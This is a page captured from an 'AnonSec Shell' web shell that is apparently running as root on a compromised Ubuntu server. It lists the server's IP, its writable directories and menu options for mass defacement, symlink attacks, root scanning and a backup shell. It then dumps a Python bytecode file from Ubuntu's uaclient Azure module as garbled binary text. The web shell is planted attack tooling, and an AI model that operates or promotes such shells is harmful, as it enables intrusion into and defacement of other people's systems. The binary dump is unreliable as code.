AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/uaclient/clouds/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/uaclient/clouds/__pycache__/azure.cpython-310.pyc
o

F��c��@s�ddlZddlmZmZddlmZddlmZmZm	Z	ddl
mZdZdZ
ede
ed	e
d
�ZdZdZd
ZGdd�de�ZdS)�N)�Any�Dict)�	HTTPError)�
exceptions�system�util)�AutoAttachCloudInstancez http://169.254.169.254/metadata/z
2020-09-01zattested/document?api-version=zinstance/compute?api-version=)�pkcs7�computez#/sys/class/dmi/id/chassis_asset_tagz%/var/lib/cloud/seed/azure/ovf-env.xmlz 7783-7084-3265-9085-8269-3286-77c@s|eZdZeejegd�d�deee	ffdd���Z
edefdd��Zedefdd	��Z
defd
d�Zdedefd
d�ZdS)�UAAutoAttachAzureInstance)�rr)�retry_sleeps�returncCsTi}tt���D]\}}tj|ddidd�\}}|dkr#|d||<q|||<q|S)N�Metadata�truer)�headers�timeoutr	�	signature)�sorted�	IMDS_URLS�itemsr�readurl)�self�	responses�key�url�url_response�_headers�r�7/usr/lib/python3/dist-packages/uaclient/clouds/azure.py�identity_docs

�
z&UAAutoAttachAzureInstance.identity_doccC�dS)N�azurer�rrrr�
cloud_type'�z$UAAutoAttachAzureInstance.cloud_typecCs2tj�t�rt�t�}t|��krdStj�t�S)z&This machine is a viable AzureInstanceT)	�os�path�exists�DMI_CHASSIS_ASSET_TAGr�	load_file�AZURE_CHASSIS_ASSET_TAG�strip�AZURE_OVF_ENV_FILE)r�chassis_asset_tagrrr�	is_viable+s

z#UAAutoAttachAzureInstance.is_viablecCr!)�UnsupportedFrr#rrr�should_poll_for_pro_license4r%z5UAAutoAttachAzureInstance.should_poll_for_pro_license�wait_for_changecCst���)N)r�InPlaceUpgradeNotSupportedError)rr2rrr�is_pro_license_present8sz0UAAutoAttachAzureInstance.is_pro_license_presentN)�__name__�
__module__�__qualname__�propertyr�retryrr�strrr r$�boolr/r1r4rrrrrsr)r&�typingrr�urllib.errorr�uaclientrrr�uaclient.cloudsr�
IMDS_BASE_URL�API_VERSIONrr)r-r+rrrrr�<module>s

�

Anon7 - 2022
AnonSec Team